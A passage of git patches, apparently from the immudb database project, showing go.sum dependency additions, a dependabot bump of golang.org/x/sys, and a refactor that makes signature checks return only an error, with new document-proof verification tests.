h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= +google.golang.org/genproto v0.0.0-20230223222841-637eb2293923/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= +google.golang.org/genproto v0.0.0-20230303212802-e74f57abe488/go.mod h1:TvhZT5f700eVlTNwND1xoEZQeWTB2RY/65kplwl/bFA= +google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= +google.golang.org/genproto v0.0.0-20230320184635-7606e756e683/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= +google.golang.org/genproto v0.0.0-20230323212658-478b75c54725/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230330154414-c0448cd141ea/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230331144136-dcfb400f0633/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230525234025-438c736192d0/go.mod h1:9ExIQyXL5hZrHzQceCwuSYwZZ5QZBazOcprJ5rgs3lY= google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e h1:Ao9GzfUMPH3zjVfzXG5rlWlk+Q8MXWKwWpwVQE1MXfw= google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= +google.golang.org/genproto/googleapis/api v0.0.0-20230525234020-1aefcd67740a/go.mod h1:ts19tUU+Z0ZShN1y3aPyq2+O3d5FUNNgT6FtOzmrNn8= +google.golang.org/genproto/googleapis/api v0.0.0-20230525234035-dd9d682886f9/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc h1:kVKPf/IiYSBWEWtkIn6wZXwWGCnLKcC8oWfZvXjsGnM= google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234015-3fc162c6f38a/go.mod h1:xURIpW9ES5+/GZhnV6beoEtxQrnkRGIfP5VQG2tCBLc= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234030-28d5490b6b19/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc h1:XSJ8Vk1SWuNr8S18z1NZSziL0CPIXLCCMDOEFtHBOFc= google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= @@ -845,7 +1960,35 @@ google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKa google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= +google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.41.0/go.mod h1:U3l9uK9J0sini8mHphKoXyaqDA/8VyGnDee1zzIUK6k= +google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= +google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= +google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= +google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.47.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.48.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= +google.golang.org/grpc v1.52.0/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= +google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= +google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g= google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag= google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= @@ -862,6 +2005,10 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.29.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= @@ -869,6 +2016,7 @@ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8 gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= @@ -887,6 +2035,7 @@ gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= @@ -897,6 +2046,43 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.1.3/go.mod h1:NgwopIslSNH47DimFoV78dnkksY2EFtX0ajyb3K/las= +lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= +lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= +modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.36.2/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.36.3/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc= +modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw= +modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= +modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= +modernc.org/ccgo/v3 v3.16.8/go.mod h1:zNjwkizS+fIFDrDjIAgBSCLkWbJuHF+ar3QRn+Z9aws= +modernc.org/ccgo/v3 v3.16.9/go.mod h1:zNMzC9A9xeNUepy6KuZBbugn3c0Mc9TeiJO4lgvkJDo= +modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= +modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= +modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= +modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A= +modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU= +modernc.org/libc v1.16.17/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU= +modernc.org/libc v1.16.19/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= +modernc.org/libc v1.17.0/go.mod h1:XsgLldpP4aWlPlsjqKRdHPqCxCjISdHfM/yeWC5GyW0= +modernc.org/libc v1.17.1/go.mod h1:FZ23b+8LjxZs7XtFMbSzL/EhPxNbfZbErxEHc7cbD9s= +modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= +modernc.org/memory v1.2.0/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= +modernc.org/memory v1.2.1/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/sqlite v1.18.1/go.mod h1:6ho+Gow7oX5V+OiOQ6Tr4xeqbx13UZ6t+Fw9IRUG4d4= +modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw= +modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= +modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw= +modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= +sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= From f742e4dedcd860e1ae98351ae08dc6728f3765f7 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 4 Jul 2023 19:02:56 +0000 Subject: [PATCH 0659/1062] chore(deps): bump golang.org/x/sys from 0.9.0 to 0.10.0 Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.9.0 to 0.10.0. - [Commits](https://github.com/golang/sys/compare/v0.9.0...v0.10.0) --- updated-dependencies: - dependency-name: golang.org/x/sys dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index beb81e3780..c326a84435 100644 --- a/go.mod +++ b/go.mod @@ -35,7 +35,7 @@ require ( github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.10.0 golang.org/x/net v0.10.0 - golang.org/x/sys v0.9.0 + golang.org/x/sys v0.10.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc google.golang.org/grpc v1.55.0 diff --git a/go.sum b/go.sum index ef39edeb98..c319795e05 100644 --- a/go.sum +++ b/go.sum @@ -1609,8 +1609,9 @@ golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.9.0 h1:KS/R3tvhPqvJvwcKfnBHJwwthS11LRhmM5D59eEXa0s= golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= +golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= From 7ca332a03f43e16ca0173439e45ab2af9e207d9e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 4 Jul 2023 16:01:01 -0300 Subject: [PATCH 0660/1062] test(pkg/verification): cover verification edge cases Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/state.go | 5 ++- pkg/client/auditor/auditor.go | 6 +-- pkg/client/client.go | 25 +++--------- pkg/client/signature_verifier_interceptor.go | 5 +-- pkg/client/sql.go | 5 +-- pkg/client/streams.go | 10 +---- pkg/database/document_database_test.go | 42 ++++++++++++++++++-- pkg/server/sever_current_state_test.go | 3 +- pkg/signer/ecdsa.go | 11 +++-- pkg/signer/ecdsa_test.go | 13 +++--- pkg/verification/verification.go | 11 +++-- pkg/verification/verification_test.go | 42 ++++++++++++++++++++ 12 files changed, 114 insertions(+), 64 deletions(-) create mode 100644 pkg/verification/verification_test.go diff --git a/pkg/api/schema/state.go b/pkg/api/schema/state.go index 87c4b9852f..9804dd9014 100644 --- a/pkg/api/schema/state.go +++ b/pkg/api/schema/state.go @@ -44,9 +44,10 @@ func (state *ImmutableState) ToBytes() []byte { } // CheckSignature -func (state *ImmutableState) CheckSignature(key *ecdsa.PublicKey) (ok bool, err error) { +func (state *ImmutableState) CheckSignature(key *ecdsa.PublicKey) error { if state.Signature == nil { - return false, errors.New("no signature found") + return errors.New("no signature provided") } + return signer.Verify(state.ToBytes(), state.Signature.Signature, key) } diff --git a/pkg/client/auditor/auditor.go b/pkg/client/auditor/auditor.go index 24262b16db..36d2a2cfd5 100644 --- a/pkg/client/auditor/auditor.go +++ b/pkg/client/auditor/auditor.go @@ -417,12 +417,12 @@ func (a *defaultAuditor) verifyStateSignature( } } - if okSig, err := serverState.CheckSignature(pk); err != nil || !okSig { + if err := serverState.CheckSignature(pk); err != nil { return fmt.Errorf( "failed to verify signature for state %s at TX %d received from server %s @ %s: "+ - "verification result: %t, verification error: %v", + "verification error: %v", serverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress, - okSig, err) + err) } } diff --git a/pkg/client/client.go b/pkg/client/client.go index 6ff094f17a..9443ec7fdd 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -1196,13 +1196,10 @@ func (c *immuClient) verifiedGet(ctx context.Context, kReq *schema.KeyRequest) ( } if c.serverSigningPubKey != nil { - ok, err := newState.CheckSignature(c.serverSigningPubKey) + err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } - if !ok { - return nil, store.ErrCorruptedData - } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) @@ -1377,13 +1374,10 @@ func (c *immuClient) VerifiedSet(ctx context.Context, key []byte, value []byte) } if c.serverSigningPubKey != nil { - ok, err := newState.CheckSignature(c.serverSigningPubKey) + err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } - if !ok { - return nil, store.ErrCorruptedData - } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) @@ -1573,13 +1567,10 @@ func (c *immuClient) VerifiedTxByID(ctx context.Context, tx uint64) (*schema.Tx, } if c.serverSigningPubKey != nil { - ok, err := newState.CheckSignature(c.serverSigningPubKey) + err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } - if !ok { - return nil, store.ErrCorruptedData - } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) @@ -1757,13 +1748,10 @@ func (c *immuClient) VerifiedSetReferenceAt(ctx context.Context, key []byte, ref } if c.serverSigningPubKey != nil { - ok, err := newState.CheckSignature(c.serverSigningPubKey) + err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } - if !ok { - return nil, store.ErrCorruptedData - } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) @@ -1930,13 +1918,10 @@ func (c *immuClient) VerifiedZAddAt(ctx context.Context, set []byte, score float } if c.serverSigningPubKey != nil { - ok, err := newState.CheckSignature(c.serverSigningPubKey) + err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } - if !ok { - return nil, store.ErrCorruptedData - } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) diff --git a/pkg/client/signature_verifier_interceptor.go b/pkg/client/signature_verifier_interceptor.go index d6e500eda8..25e5547518 100644 --- a/pkg/client/signature_verifier_interceptor.go +++ b/pkg/client/signature_verifier_interceptor.go @@ -33,13 +33,10 @@ func (c *immuClient) SignatureVerifierInterceptor(ctx context.Context, method st } if method == "/immudb.schema.ImmuService/CurrentState" { state := reply.(*schema.ImmutableState) - ok, err := state.CheckSignature(c.serverSigningPubKey) + err := state.CheckSignature(c.serverSigningPubKey) if err != nil { return status.Errorf(codes.InvalidArgument, "unable to verify signature: %s", err) } - if !ok { - return status.Error(codes.Canceled, "signature doesn't match provided public key") - } } return ris } diff --git a/pkg/client/sql.go b/pkg/client/sql.go index dd36e2a879..fdd80d5600 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -234,13 +234,10 @@ func (c *immuClient) VerifyRow(ctx context.Context, row *schema.Row, table strin } if c.serverSigningPubKey != nil { - ok, err := newState.CheckSignature(c.serverSigningPubKey) + err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return err } - if !ok { - return store.ErrCorruptedData - } } err = c.StateService.SetState(c.currentDatabase(), newState) diff --git a/pkg/client/streams.go b/pkg/client/streams.go index 0bbce10204..49a0f967c9 100644 --- a/pkg/client/streams.go +++ b/pkg/client/streams.go @@ -265,13 +265,10 @@ func (c *immuClient) _streamVerifiedSet(ctx context.Context, kvs []*stream.KeyVa } if c.serverSigningPubKey != nil { - ok, err := newState.CheckSignature(c.serverSigningPubKey) + err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } - if !ok { - return nil, store.ErrCorruptedData - } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) @@ -382,13 +379,10 @@ func (c *immuClient) _streamVerifiedGet(ctx context.Context, req *schema.Verifia } if c.serverSigningPubKey != nil { - ok, err := newState.CheckSignature(c.serverSigningPubKey) + err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } - if !ok { - return nil, store.ErrCorruptedData - } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 5b62876664..c770c10b4b 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -23,6 +23,7 @@ import ( "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/protomodel" + "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/verification" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" @@ -290,6 +291,8 @@ func TestDocumentDB_WithDocuments(t *testing.T) { require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) }) + var knownState *schema.ImmutableState + t.Run("should pass when querying documents with proof", func(t *testing.T) { proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ CollectionName: collectionName, @@ -298,11 +301,13 @@ func TestDocumentDB_WithDocuments(t *testing.T) { require.NoError(t, err) require.NotNil(t, proofRes) - newState, err := verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil) + knownState, err = verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil) require.NoError(t, err) - require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) + require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, knownState.TxId) }) + var updatedDoc *structpb.Struct + t.Run("should pass when replacing document", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, @@ -355,8 +360,8 @@ func TestDocumentDB_WithDocuments(t *testing.T) { revision, err := reader.Read(context.Background()) require.NoError(t, err) - doc = revision.Document - require.Equal(t, 321.0, doc.Fields["pincode"].GetNumberValue()) + updatedDoc = revision.Document + require.Equal(t, 321.0, updatedDoc.Fields["pincode"].GetNumberValue()) }) t.Run("should pass when auditing document", func(t *testing.T) { @@ -373,6 +378,35 @@ func TestDocumentDB_WithDocuments(t *testing.T) { require.Equal(t, docID, rev.Document.Fields["_id"].GetStringValue()) } }) + + t.Run("should pass when querying updated document with proof", func(t *testing.T) { + proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ + CollectionName: collectionName, + DocumentId: docID, + ProofSinceTransactionId: knownState.TxId, + }) + require.NoError(t, err) + require.NotNil(t, proofRes) + + newState, err := verification.VerifyDocument(context.Background(), proofRes, updatedDoc, knownState, nil) + require.NoError(t, err) + require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) + }) + + t.Run("should pass when querying updated document with proof", func(t *testing.T) { + proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ + CollectionName: collectionName, + DocumentId: docID, + TransactionId: knownState.TxId, + ProofSinceTransactionId: knownState.TxId, + }) + require.NoError(t, err) + require.NotNil(t, proofRes) + + newState, err := verification.VerifyDocument(context.Background(), proofRes, doc, knownState, nil) + require.NoError(t, err) + 